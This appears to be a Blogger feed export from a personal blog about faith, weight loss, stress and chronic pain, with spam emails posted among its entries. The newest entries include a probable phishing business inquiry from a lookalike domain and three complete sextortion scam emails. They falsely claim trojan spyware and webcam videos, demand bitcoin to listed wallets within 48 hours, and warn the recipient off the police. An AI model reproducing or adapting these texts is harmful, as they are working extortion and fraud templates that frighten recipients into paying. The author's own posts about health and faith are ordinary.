Emoji", "Segoe UI Symbol"; font-size: 13px; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;'><br> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr"> I am Dr mrs moon pui the manager of tonsongroup Thailand,</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">I am writing to inquire about the availability of your products I saw on your website</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">and my company is very much interested in buying, I have confidence in your commitment to quality,</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">I also appreciate if you could send me the following: -</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">1. updated catalog</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">2. price list</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">3. moq for your products</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">I need to take a decision in the coming few days so it really very important that I receive this information as soon as possible</p> <p align="left" style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;' dir="ltr">Awaiting your reply.</p> <p style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;'></p> <p style='margin: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "Segoe UI", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; font-size: large; font-style: normal; font-weight: 400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;'><br>Best regards .<br>Dr Mrs Moon Pui<br>[manager]<br>Email:<strong><a class="ex-mailto-link mailto-link" style="color: rgb(60, 97, 170); text-decoration: underline;" href="mailto:sales@tonsongroupp.com" target="_blank">sales@tonsongroupp.com</a><br></strong><br>TONSON GROUP,<br>900 TONSON TOWER,<br>17TH FLOOR, PLOENCHIT ROAD,<br>LUMPINI, PATHUMWAN,<br> BANGKOK 10330 T.<br>+66 (0) 2277 0525,<br>F. +66 (0) 2357 0595 </p></div> Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-62771488297703392502022-12-13T09:43:00.000-08:002022-12-13T03:02:07.988-08:00Your personal data has leaked due to suspected harmful activities.<div class=WordSection1><p class=MsoNormal>Hi there!</br> </br> I am a professional hacker and have successfully managed to hack your operating system.</br> Currently I have gained full access to your account. </br> </br> In addition, I was secretly monitoring all your activities and watching you for several months. </br> The thing is your computer was infected with harmful spyware due to the fact that you had visited a website with porn content previously. ╭ ᑎ ╮</br> </br> Let me explain to you what that entails. Thanks to Trojan viruses, I can gain complete access to your computer or any other device that you own.</br> It means that I can see absolutely everything in your screen and switch on the camera as well as microphone at any point of time without your permission. </br> In addition, I can also access and see your confidential information as well as your emails and chat messages.</br> </br> You may be wondering why your antivirus cannot detect my malicious software. </br> Let me break it down for you: I am using harmful software that is driver-based, </br> which refreshes its signatures on 4-hourly basis, hence your antivirus is unable to detect it presence.</br> </br> I have made a video compilation, which shows on the left side the scenes of you happily masturbating, </br> while on the right side it demonstrates the video you were watching at that moment..ᵔ.ᵔ</br> </br> All I need is just to share this video to all email addresses and messenger contacts of people you are in communication with on your device or PC. </br> Furthermore, I can also make public all your emails and chat history.</br> </br> I believe you would definitely want to avoid this from happening. </br> Here is what you need to do - transfer the Bitcoin equivalent of 950 USD to my Bitcoin account </br> (that is rather a simple process, which you can check out online in case if you don't know how to do that).</br> </br> Below is my bitcoin account information (Bitcoin wallet): 1dEfpd1sjZTCkjhb9DD5gnzMiiQYoXZhE</br> </br> Once the required amount is transferred to my account, I will proceed with deleting all those videos and disappear from your life once and for all. </br> Kindly ensure you complete the abovementioned transfer within 50 hours (2 days +). </br> I will receive a notification right after you open this email, hence the countdown will start.</br> </br> Trust me, I am very careful, calculative and never make mistakes.</br> If I discover that you shared this message with others, I will straight away proceed with making your private videos public.</br> </br> Good luck!<o:p></o:p></p></div>Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-33388518958909458122022-11-09T07:11:00.000-08:002022-11-09T02:12:05.483-08:00Waiting for the payment.Hello!
<br>Have you recently noticed that I have e-mailed you from your account?
<br>Yes, this simply means that I have total access to your device.
<br>
<br>For the last couple of months, I have been watching you.
<br>Still wondering how is that possible? Well, you have been infected with malware originating from an adult website that you visited. You may not be familiar with this, but I will try explaining it to you.
<br>
<br>With help of the Trojan Virus, I have complete access to a PC or any other device.
<br>This simply means I can see you at any time I wish to on your screen by simply turning on your camera and microphone, without you even noticing it. In addition, I have also got access to your contacts list and all your correspondence.
<br>
<br>You may be asking yourself, "But my PC has an active antivirus, how is this even possible? Why didn't I receive any notification?" Well, the answer is simple: my malware uses drivers, where I update the signatures every four hours, making it undetectable, and hence keeping your antivirus silent.
<br>
<br>I have a video of you wanking on the left screen, and on the right screen - the video you were watching while masturbating.
<br>Wondering how bad could this get? With just a single click of my mouse, this video can be sent to all your social networks, and e-mail contacts.
<br>I can also share access to all your e-mail correspondence and messengers that you use.
<br>
<br>All you have to do to prevent this from happening is - transfer bitcoins worth $1450 (USD) to my Bitcoin address (if you have no idea how to do this, you can open your browser and simply search: "Buy Bitcoin").
<br>
<br>My bitcoin address (BTC Wallet) is: 1LrQJeowKsXbuPSJWVnVqz3Y79EftJSPt7
<br>
<br>After receiving a confirmation of your payment, I will delete the video right away, and that's it, you will never hear from me again.
<br>You have 2 days (48 hours) to complete this transaction.
<br>Once you open this e-mail, I will receive a notification, and my timer will start ticking.
<br>
<br>Any attempt to file a complaint will not result in anything, since this e-mail cannot be traced back, same as my bitcoin id.
<br>I have been working on this for a very long time by now; I do not give any chance for a mistake.
<br>
<br>If, by any chance I find out that you have shared this message with anybody else, I will broadcast your video as mentioned above.Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-39081452276958919592022-10-28T06:57:00.000-07:002022-10-28T02:22:04.095-07:00Don't forget to pay the tax within 2 days!Hi. How are you?
<br>
<br>I know, it's unpleasant to start the conversation with bad news, but I have no choice.
<br>Few months ago, I have gained access to your devices that used by you for internet browsing.
<br>Afterwards, I could track down all your internet activities.
<br>
<br>Here is the history of how it could become possible:
<br>At first, I purchased from hackers the access to multiple email accounts (nowadays, it is a really simple thing to do online).
<br>As result, I could easily log in to your email account (<a href="mailto:transparent.joy.rowergirl@blogger.com">transparent.joy.rowergirl@blogger.com</a>).
<br>
<br>One week later, I installed Trojan virus in Operating Systems of all devices of yours, which you use to open email.
<br>Frankly speaking, it was rather straightforward (since you were opening the links from your inbox emails).
<br>Everything ingenious is quite simple. (0_0)!
<br>
<br>My software enables me with access to all controllers inside devices of yours, like microphone, keyboard and video camera.
<br>I could easily download to my servers all your private info, including the history of web browsing and photos.
<br>I can effortlessly gain access to all your messengers, social networks accounts, emails, contact list as well as chat history.
<br>Virus of mine constantly keeps refreshing its signatures (because it is driver-based), and as result remains unnoticed by your antivirus.
<br>
<br>Hence, you can already guess why I stayed undetected all this while.
<br>
<br>As I was gathering information about you, I couldn't help but notice that you are also a true fan of adult-content websites.
<br>You actually love visiting porn sites and browsing through kinky videos, while pleasuring yourself.
<br>I could make a few dirty records with you in the main focus and montaged several videos showing the way you reach orgasm while masturbating with joy.
<br>
<br>If you are still uncertain regarding the seriousness of my intentions,
<br>it only requires several mouse clicks for me to forward your videos to all your relatives, as well as friends and colleagues.
<br>I can also make those vids become accessible by public.
<br>I honestly think that you do not really want that to happen, considering the peculiarity of videos you like to watch,
<br>(you obviously know what I mean) all that kinky content can become a reason of serious troubles for you.
<br>
<br>However, we can still resolve this situation in the following manner:
<br>Everything you are required to do is a single transfer of $1370 USD to my account (or amount equivalent to bitcoin depending on exchange rate at the moment of transfer),
<br>and once the transaction is complete, I will straight away remove all the dirty content exposing you.
<br>After that, you can even forget that you have come across me. Moreover, I swear that all the harmful software will be removed from all devices of yours as well.
<br>Make no doubt that I will fulfill my part.
<br>
<br>This is really a great deal that comes at a reasonable price, given that I have used quite a lot of energy to check your profile as well as traffic over an extended period of time.
<br>If you have no idea about bitcoin purchase process - it can be straightforwardly done by getting all the necessary information online.
<br>
<br>Here is my bitcoin wallet provided below: 1Ce3EcNUzCZhQ1a2cP14HeG6H23jWq6n2Q
<br>
<br>You should complete the abovementioned transfer within 48 hours (2 days) after opening this email.
<br>
<br>The following list contains actions you should avoid attempting:
<br>#Do not try replying my email (email in your inbox was generated by me alongside with return email address).
<br>#Do not try calling police as well as other security forces. In addition, abstain from sharing this story with your friends.
<br> After I find out (be sure, I can easily do that, given that I keep complete control of all your devices) - your kinky video will end up being available to public right away.
<br>#Do not try searching for me - there is absolutely no reason to do that. Moreover, all transactions in cryptocurrency are always anonymous.
<br>#Do not try reinstalling the OS on your devices or throwing them away. It is pointless as well, since all your videos have already been uploaded to remote servers.
<br>
<br>The following list contains things you should not be worried about:
<br>#That your money won't reach my account.
<br>- Rest assured, the transactions can be tracked, hence once the transaction is complete,
<br> I will know about it, because I continuously observe all your activities (my trojan virus allows me to control remotely your devices, same as TeamViewer).
<br>#That I still will share your kinky videos to public after you complete money transfer.
<br>- Trust me, it's pointless for me to continue troubling your life. If I really wanted, I would make it happen already!
<br>
<br>Let's make this deal in a fair manner!
<br>
<br>Owh, one more thing...in future it is best that you don't involve yourself in similar situations any longer!
<br>One last advice from me - recurrently change all your passwords from all accounts.Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-92066465405414629142020-10-08T20:21:00.000-07:002020-10-08T20:21:29.048-07:00Touch of Reality and I would handle it and how God will handle it...<p>Before today, I would honestly tell you that I have not gained but a couple of pounds during this Covid Pandemic. </p><p>Went to the doctor today and found out that not only have I gained a couple of pounds....but I've gained 14 pounds since March.</p><p>I don't weigh myself regularly....I try to judge how I'm doing by how my clothes feel. However, my clothes are not helping me. I can still wear the same jeans I wore 14 pounds ago and even about 20 pounds ago. So not a good measure. Yikes!</p><p>This reality really hit me hard today. Honestly I feel a little betrayed by my body. It seems that I have not eaten tons and tons...at least not 14 pounds worth. But here I am....</p><p> But the real reality is....</p><p></p><ul style="text-align: left;"><li>I am not moving much. With working from home and everything being so close, I don't get a lot of steps in. And I'm not putting in the extra exercise either...</li><li>I'm not drinking all of my water.</li><li>And I'm not really eating like I should. Clearly eating too much!</li></ul><div>I'm not working my plan.</div><div><br /></div><div>Now I would like to rip a new one into myself for being such a failure. I want to cry, go on a pity party, be depressed and scream at God for not helping me. </div><div><br /></div><div>But instead...I'm looking to Him. I am asking the Lord how He wants me to proceed. Pretty sure there will be no crazy diets, excessive exercise, crying, pity parties, depression or screaming. He's got a really big plan for me. I am now ready to proceed with Him.</div><div><br /></div><div>Already I got my food tracking book out and have determined what foods that don't make me feel well.</div><div><br /></div><div>Instead dread, fear, anger and all the other "usual' emotions that come from me, when I am in this place. Instead I feel excited, joy, determination and you know the best thing? I feel loved! Because I know that God has my back and we are going to make this happen!!</div><div><br /></div><div>I did many good things on my own the last time I started this journey. I can't wait to see what will happen when I partner up with the Lord. It's going to be amazing!!!!</div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><p></p><p><br /></p>Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com1tag:blogger.com,1999:blog-7614746678835590944.post-48053659762156161242020-10-06T18:17:00.001-07:002020-10-06T18:17:18.763-07:00Startin' and Stoppin' and Startin' and Stoppin'.....<p>Startin' and a Stoppin' and a Startin' and a Stoppin'....It's a pattern!! Just check out my blog posts. Some times I stop focusing on my goals for just a few days, sometimes it's weeks, sometimes a couple of months and the last big one, was a year! I have allowed work, problems, laziness, illness, procrastination and many other reasons to stop my progress in my health journey. </p><p>.....I started the above post yesterday after feeling really frustrated that I had stopped, again! I had lost my mojo.... I had lost my way a little and was not doing the things I needed to do for myself. I forgot my goals. The post I had in mind, yesterday, was a post ripping myself apart and tearing myself down for being so weak willed, forgetful, slothful, etc. </p><p>Thankfully, I got distracted, so that post did not got out. </p><p>Today, I just happened to listen to another podcast with The Healthy Christian Women Podcast by Dr. Melody Stevens. (#34 Stop Dieting for Life). Now I was listening while working so I was not totally focused, but some things really crept in. There are a lot of nuggets in this message, but the biggest one that stood out, is that while I am walking through my health and fitness journey, the Lord is with me. He is doing a work and He is carving out things that need to go. Helping me get to my goal, all the while I'm getting closer and closer to Him. He is working on my heart and freeing me of all the life long stuff that I have been carrying around. He's doing a deeper work and refining me to be the woman He wants me to be. That's what <i><b>He</b></i> wants!!! </p><p>Me...I've wanted weight loss so I can fit into clothes off the rack. I want to run a marathon. I want to be well so I can do what I want to do. I have never really thought of what He wants for me or what He wants me to do. I just do stuff....</p><p>About 25 years ago, a sweet lady came to me at a Bible Study. At the time, I was a busy, working mom, juggling many things and was always at my limit....She said....I can remember this like it was yesterday. Anyway, she said, "Joy, God gave me a vision. He's sitting with His hands out. And in each hand He has a list. In one hand, the list is very long and in the other hand He had a short list." This woman said, "in the hand with the long list, is a list of all the good things that you want to do....for your family, friends, work etc. And in the other hand is a short list of all the things He asking you to do....." She said, "your list is so big that you cannot even see or consider His list....</p><p>Basically I was running myself ragged. Stressing out over all the "To Do" things. I was doing really good things, but I was just not listening to Him and what He wanted me to do. </p><p>Now people can say whatever they want and she probably wanted to just keep her mouth shut, but she spoke truth into my life that day. I have not forgotten those words and they keep coming back to me...Just like today.</p><p>I think I got my thinkin' focused on the wrong things. I think I need to be thinkin' about what He's trying to show me and is doing in my life. I need to ask Him what He wants me to do...(You have no idea how scary it is just typing that sentence out. Yikes!!!)</p><p>I think He's refining me, starting way back when with all that startin' and stoppin'. I do know that each time I come back, I am different...stronger....closer to my goal. Now if I would get out of my way and let Him guide me, things can really happen. Even at that Bible Study. He showed me that I have things to do and he's trying to remove "other" things that are getting in my way....</p><p>Right now...I'm super stressing about my health. I even wake up at night with night terrors....screaming out sometimes that I'm going to die because I'm not doing things right.</p><p>I can see that I've had this stress my entire life. And I guess, I am really tired of it. I am ready to surrender this to Him. I'm willing to wait for my healing, willing to be refined and ready to become the women He's designed me to be.</p><p>And I'm going to give myself some grace. Because I may see these starts and stops as weakness and failure. But I don't think He sees it that way. He's seeing a stronger, capable, determined woman coming out of her shell. A woman of God, that <b><i>He</i></b> created!</p><p>And that makes me pretty darn happy!!!</p><p>So excited to explore His List and to see what's next!!!!</p>Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com0tag:blogger.com,1999:blog-7614746678835590944.post-21551181269276285692020-09-29T16:36:00.002-07:002020-09-29T16:36:28.845-07:00Rejoice where you are...<p> My hubby came into my office and saw my blog open on my laptop and saw the picture of me when I weighed 182 pounds. He said, "Ah so cute!" I don't look like that now. So in my head I could have go all over the place.</p><p>I could have thought....</p><p>He thinks I was cute then, but not now. And he hates how I look now....Good reason to beat myself up!</p><p>Or I could have thought....</p><p>He just thinks it was a cute picture.</p><p>I am going to believe that he thought it was a cute picture. I looked at it and it is cute. But for me right now, I am just grateful that I right where I am supposed to be. I am OK with what is happening in my body. Every day I make good decisions, I getting great sleep, I take care of the little things that make me feel good. I'm kinder and gentler with myself and I am enjoying every moment!!</p><p>And you know.....things are happening...I am going in the right direction. Even though I don't look like I used to, I FEEL better than I ever have!!!</p><p>Peace and joy to you!</p><p><br /></p>Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com1tag:blogger.com,1999:blog-7614746678835590944.post-80075970421793919572020-09-28T19:56:00.000-07:002020-09-28T19:56:08.562-07:00I surrender....<p> Without looking back, I am sure that I've already stated this, but I surrender.... I surrender my weight, health, and life totally to the Lord. I have tried so many things that the world says works to achieve health and fitness. I have pushed and prodded my body to lose almost 100 pounds with a crazy diet and excessive exercise to the detriment of my health and to regain all but 25 pounds back. I realize that I cannot do this on my own. I am totally ready to surrender this all to the one who can get this done.</p><p>How????</p><p>I don't know everything yet as this is a work in progress, but I can tell you that the past 4 days have been amazing. The first thing I did was pray. I did not pray for God to fix anything or me or to take the weight away. I prayed that He would slow my mind down, so I can listen and hear what He wants me to know and how He want to get this done. First thing that needs to be addressed is stress...</p><p>How do I know this.....because after the prayer, I started to listen....to Family, friends, Podcasts, church, commercials, shows, Facebook, glimpses of words here and there that I would see and the word I kept hearing is: Stress...."You need to relieve your stress," "It's a stressful world", "Stress is not good for you". etc. It was like the Lord was sending the message everywhere He could to get my attention. </p><p>OK Stress..How do I relieve it? First up, what was I listening to? CRIME SHOWS....Stressful? Oh my word, the worst! I deleted almost all of them. OK it's a process...I have a couple that are entertaining that I'm not ready to give up...yet. When I have other good things to listen to, I will delete them. In place of crime show I found the <u><b>The Healthy Women Podcast by Dr. Melody Stevens</b></u>. She has 3 seasons of episodes that I have been binging on. Her Podcasts are just full of information on sharing God's word regarding health and fitness and so many other things,</p><p>Praise music. Instead of Podcasts, I've been listening to praise music and calm instrumental music.</p><p>Yoga - I going to do yoga a couple of days per week. I took the first on-line class on Saturday and loved it. </p><p>Deep breathing & prayer. Every time I get anxious or worried, I would breath deep and say..."You're good, you're good. You have everything you need...all the while breathing deeply. The next thing when I'm worried, is to remember God's promises....There are so many in the Bible. Here's one of my favorites:</p><p>Jeremiah 29:11-14 NIV</p><p>11 For I know the plans I have for you," declares the LORD, "plans to prosper you and not to harm you, plans to give you hope and a future. 12 Then you will call on me and come and pray to me, and I will listen to you. 13 You will seek me and find me when you seek me with all your heart. 14 I will be found by you, "declares the LORD, "and will bring you back from captivity. I will gather you from all nations and places where I have banished you, " declares the LORD, "and will bring you back to the place from which I have carried you into exile."</p><p>Is this new way going to make any difference to my weight loss? You know, I don't really know. We shall see. So far I have been really peaceful. I have clarity of my mind, I've enjoyed food, I've slept well without snoring and night terrors. So far so good!</p><p>Honestly, the way this feels now, I don't care what size I am. I am finally at peace....</p><p><br /></p><div class="passage-text" style="box-sizing: border-box; font-family: system-ui, -apple-system, "Segoe UI", Roboto, Ubuntu, Cantarell, "Noto Sans", sans-serif, Arial; line-height: 1.7em; margin-top: 50px; min-width: 0px; text-align: left;"><div class="passage-content passage-class-0" style="box-sizing: border-box; min-width: 0px;"><div class="version-NIV result-text-style-normal text-html" style="box-sizing: border-box; min-width: 0px;"><div class="left-1 child-first-line-1 top-05" style="box-sizing: border-box; margin-left: 1.6rem; margin-top: -0.5em; min-width: 0px; position: relative;"><p style="box-sizing: border-box; line-height: 2.4rem; min-width: 0px;"> </p></div><div class="left-1 child-first-line-1 top-05" style="box-sizing: border-box; margin-left: 1.6rem; margin-top: -0.5em; min-width: 0px; position: relative;"><p style="box-sizing: border-box; line-height: 2.4rem; min-width: 0px;"><span class="text Jer-29-14"><br /></span></p><p style="box-sizing: border-box; line-height: 2.4rem; min-width: 0px;"><br /></p><p style="box-sizing: border-box; font-size: 1.6rem; line-height: 2.4rem; min-width: 0px;"><br /></p></div></div></div></div>Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com2tag:blogger.com,1999:blog-7614746678835590944.post-73939459396606551032019-08-03T09:45:00.001-07:002019-08-03T09:45:12.290-07:00Sugar Sugar SugarI would so love to post what I want to say about sugar companies, insurance companies and our government regarding sugar. (OK I'm going to say just one thing....<b><i>SHAME ON YOU!!!</i></b>) But personally I don't have the energy, mental capacity or strength to get the criticism and back lash from them or others regarding eliminating sugar from our diets.<br />
<br />
So you do your own research. I came across just two videos that have changed my mind...<br />
<br />
<b><i>Fed Up and That Sugar Film</i></b><br />
<b></b><i></i><br />
I am not going to do any more research, I'm just going to start reading labels and eliminate sugar and see for myself.<br />
<br />
Without knowing the things I've learned in these films, I already did this experiment in 2010. I said for a year, I would eliminate fast foods, soda (including diet) and sweets...…...And with ease I lost 50 pounds in a really short time. <br />
<br />
Don't believe me.....check out my earlier posts...<br />
<br />
Where I got hung up was I forgot the plan and then started to stress out about results and not believing in what I was doing. So I resorted to a crazy diet and excessive exercise and blew out my system....<br />
<br />
Already this morning without eating a thing, I drank 3 teaspoons of sugar that were in my coffee creamer.<br />
<br />
Oh I am awakened......<br />
<br />
<br />Joyhttp://www.blogger.com/profile/03722527731126817253noreply@blogger.com1tag:blogger.com,1999:blog-7614746678835590944.post-12832911610705923112019-08-02T08:54:00.001-07:002019-08-02T09:13:57.110-07:00New Revelations....I don't want to forget this stuff!!My brain.....Since my last post so much has happened. I have learned so much and I can tell that if I don't get this written down. I will forget. My brain just does not want to retain what I have learned, so here goes....<br />
<br />
I'm terrible with time, so if I get some dates off...sorry! Anyway, in 2015 I was 182 pounds and very fit. I could run 13 miles, bike 60 miles, swim for 2 miles, leg press 180 pounds, curl 25 pounds and Zumba for hours.<br />
<br />
<br />
Last Saturday, I was 245 pounds, I could do my 13 physical therapy exercises. I could barely walk and needed to go to our local thrift store to borrow a cane.<br />
<br />
After the summer of 2015, my very last (1/2 marathon) race (my greatest and most fun race ever!), I had a fleeting thought run through my mind, that said, "What if this is your last race?" I very quickly dismissed that ugly thought and went on with things. Usually after summer I would ebb off of running and get into the fall mode, then the Thanksgiving and Christmas mode and when January comes, I would get back into my running mode.<br />
<br />
January 2016 I got my training schedule, my new shoes and my attitude ready and got started. But for some reason I could not sustain my usual training. I kept trying and would fail. I did this for many weeks and I became quite frustrated. I pushed myself until May and tried to do a 1/2 marathon. I did it, but it was miserable. I did OK for the first 6 miles or so, then had a panic attack because my feet hurt and I just did not have the energy to finish. It never occurred to me that I could call someone to get me, so I limped to the finish line.<br />
<br />
After that I struggled and could not do any more events that year, but continued to walk about 10 miles per week. Oh by the way, I forgot to say, that I had been doing these crazy running events and a sprint triathlon on a crazy diet where I was getting about 1000 to 1200 calories per day......<br />
<br />
Guess what, my body shut down....<br />
<br />
At that time all I could do was go to work and come home and go to sleep. DEPRESSING!<br />
<br />
So I went to the doctor to figure out what was going on with this fatigue thing.<br />
<br />
I can't remember what my regular doctor was thinking about the fatigue thing, but I just remember she was worried about my mental health for the running thing. She sent me to a mental health doctor that said if I have to give up the running thing....my mind was thinking...for a while....but she was saying for good, you have to replace that activity with something else. So that's where the quilting thing came in. I dove into that and really liked it....So that saved my mental health and kept me going.<br />
<br />
Then I went to a nature path doctor and she said I had adrenal fatigue...<br />
<br />
So.....I struggled with that, still walking 10 miles per week, then October 2018 I got MRSA and struggled with that for a couple of months, Then by Christmas I could no longer walk because my knee was hurting. I went to physical therapy (PT) for that, got that better, then my other knee was hurting, went to PT - got that better, then my right heel was hurting, went to PT - got that better, then it was right leg, then my hip and then...finally the therapist said, "I think you need to see a specialist". You think?<br />
<br />
So I went and found out I have a spinal issue, got a spinal injection, had more PT...had about a week of no pain and then a while ago, I got some bad news that I did not want to hear and then all of a sudden, I got shoulder pain....this was something new...<br />
<br />
Then some time after that I got some more bad news and the shoulder pain moved into my calf (like a charley horse - so painful) and that's where I ended up until last Monday.<br />
<br />
The first bad news was, I found out that my insurance would not pay for the gastric bypass surgery that I wanted. This really disappointed me, the little hope I had just got snuffed out. That night the shoulder pain set in.... Hopeless!!!<br />
<br />
The next bad news I got was. I went to my physical therapy appointment when my shoulder was hurting and she said, "I can't help you any more." What....what??? So she referred me to a pain physical therapist. Felt so rejected.....and hopeless again!<br />
<br />
So last week....the leg pain was getting worse, by Sunday I could barely walk, I could feel it moving to the right leg, deep desperation was setting in and then.....and then....and then, my sweet friend sat with me at church. She held my hand, she spoke kind words, she hugged me...She COMFORTED me!!! It was wonderful!!!!<br />
<br />
I went home from church and rested...<br />
<br />
Monday morning I woke up PAIN FREE and I COULD WALK!!!! IT WAS A MIRACLE!!!!!<br />
<br />
So here's where I don't want to screw things up.<br />
<br />
My crazy brain...does not want me to remember this....<br />
<br />
So I went to my pain therapist on Wednesday and I told her about the bad news I received and the new pains I got and what happened on Monday. I did not share, at that time, what happened with my friend.<br />
<br />
Then she said, "Well I have more news that you are not gonna like.....I took a new position and I will not be able to help you anymore." WHAT.....WHAT....WHAT????<br />
<br />
Two people in one week have rejected me....What in the world?<br />
<br />
So I sat there for a second...and of course I told her congratulation and I told her that I was sad for me, but happy for her,,,blah blah blah and then the tears came!!<br />
<br />
I had a moment of crying and she said that the response I just had was a trauma response. I had been working with her for a long time, so she knows the history of my dad dying, when I was 4, and my mom and grandparents not really being there for me to help me work through this time.<br />
<br />
